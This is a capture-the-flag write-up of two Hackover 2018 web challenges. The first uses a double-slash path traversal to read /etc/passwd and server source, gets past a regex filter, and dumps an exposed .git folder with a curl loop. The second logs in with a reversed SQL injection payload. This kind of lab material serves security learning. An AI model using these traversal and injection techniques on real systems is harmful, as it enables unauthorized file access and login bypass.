Hackover CTF 2018 – cyberware

The hackeover18 CTF challenge “cyberware”:

The URL http://cyberware.ctf.hackover.de:1337/ leads to what looks like a directory listing of a few files:

None of these files are accessible via a normal browser, they will only display “Protected by Cyberware 10.1” instead.
However with curl the files are displayed:

We figured out that requesting local system files is possible by prefixing // for example requesting //etc/passwd:

We then requested //proc/self/cmdline to find out which program is running, this returned cyberserver.py.
Since there is a ctf user in /etc/passwd we tried to get the file //home/ctf/cyberserver.py which dumped the whole source code. Mirror here.

From that source code we learned that there is no way to list files in a folder. The content of files which exist will be written to the response. There is also this interesting check:

        if path.startswith('flag.git') or search('\\w+/flag.git', path):
            self.send_response(403, 'U NO POWER')
            self.send_header('Content-type', 'text/cyber')
            self.wfile.write(b"Protected by Cyberware 10.1")

Apparently there is a flag.git folder. We can circumvent the search regex by simply requesting //home/ctf//flag.git. With the second / the error message is “406 Cyberdir not accaptable” which shows us that we have circumvented this check.

The flag.git folder is a normal .git directory. We can fetch the HEAD file to verify this:

There is already a wonderful tool to automatically download and extract files from open .git folders: internetwache/GitTools
However I couldn’t figure out how to make it download the files, I think it detects the downloads as failures since the content-length header might contain a wrong size (hence the curl errors as well).

We simply manually built the structure and downloaded all the standard files:

$ mkdir -p ctf/.git
$ cd ctf/.git/
$ mkdir -p refs/remotes/origin objects/info logs/refs/remotes/origin logs/refs/heads objects/pack/ info refs/heads refs/master
$ for x in HEAD objects/info/packs description config COMMIT_EDITMSG index packed-refs refs/heads/master refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD info/refs info/exclude; do curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/$x -o $x ; done

We then find the location of a packed file, download it as well and unpack it:

$ cat objects/info/packs
P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

$ curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack -o objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
$ cd ..
$ git unpack-objects -r < .git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
Unpacking objects: 100% (15/15), done.

Now we can use the extractor.sh tool from the above linked GitHub repository:

$ cd ~/GitTools/Extractor/
$ ./extractor.sh ~/ctf extract
# Extractor is part of https://github.com/internetwache/GitTools
# Developed and maintained by @gehaxelt from @internetwache
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
[*] Destination folder does not exist
[*] Creating...
fatal: Not a valid object name infopacks
fatal: Not a valid object name packpack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
[+] Found commit: 38db5649511b84ec8f9eb6492dbe43eabe1e6a4a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/0-38db5649511b84ec8f9eb6492dbe43eabe1e6a4a/hackover18{Cyb3rw4r3_f0r_Th3_w1N}
[+] Found commit: c0e01b58327e785a581c32b97e639014aef0f31e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/1-c0e01b58327e785a581c32b97e639014aef0f31e/ups
[+] Found commit: 7ddcca9c9752a2f616f9754dc100fc5e52f8f6df
[+] Found file: /home/vagrant/GitTools/Extractor/extract/2-7ddcca9c9752a2f616f9754dc100fc5e52f8f6df/qpoeqewrpokqwer
[+] Found commit: 5e9613e8069eb7a83c1b4554954fb7329490333a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/3-5e9613e8069eb7a83c1b4554954fb7329490333a/asdasdasdqweq42134e2
[+] Found commit: 1301f01e7dbd26acd8ca5b09fab05b957e702365
[+] Found file: /home/vagrant/GitTools/Extractor/extract/4-1301f01e7dbd26acd8ca5b09fab05b957e702365/hackover16{Cyb3rw4hr_pl5_n0_taR}
[+] Found commit: b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
[+] Found commit: dd9ebcb882411a06c33ea9d8e4246acf70e7372e
[+] Found commit: 19f882c9ad7aec1e682511525cc43e271896ae9e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/7-19f882c9ad7aec1e682511525cc43e271896ae9e/ups

And you can see the first file it found was the flag, the flag was the filename, it was: hackover18{Cyb3rw4r3_f0r_Th3_w1N}

Hackover CTF 2018 – who knows john dows?

The hackover18 CTF challenge “who knows john dows?” gave us only a login page:

And also a ruby class in a  GitHub repo at https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb.

First we needed to find the username. You simply clone the above repository and with git log you can see the email addresses which were used to commit, one of them (“john_doe@notes.h18”) worked.

Next we need to bypass the password check. Looking at the class in the GitHub repository we see that the SQL query to check the password is vulnerable to SQL injection however only via the hashed_input_password variable:

  def login(identification, password)
    hashed_input_password = hash(password)
    query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
    puts "SQL executing: '#{query}'"
    @database[query].first if user_exists?(identification)

There is also a SQL injection in the identification variable, however this is first validated in another part of the code, thus this cannot be exploited.

The “hash” function used is as follows:

  def hash(password)

This basically only reverses the string. We want use this string to bypass the check:

x' or 1 = 1; -- 

So we simply reverse it to:

 -- ;1 = 1 ro 'x

And using that as the password, we get the flag:

The flag was: hackover18{I_KN0W_H4W_70_STALK_2018}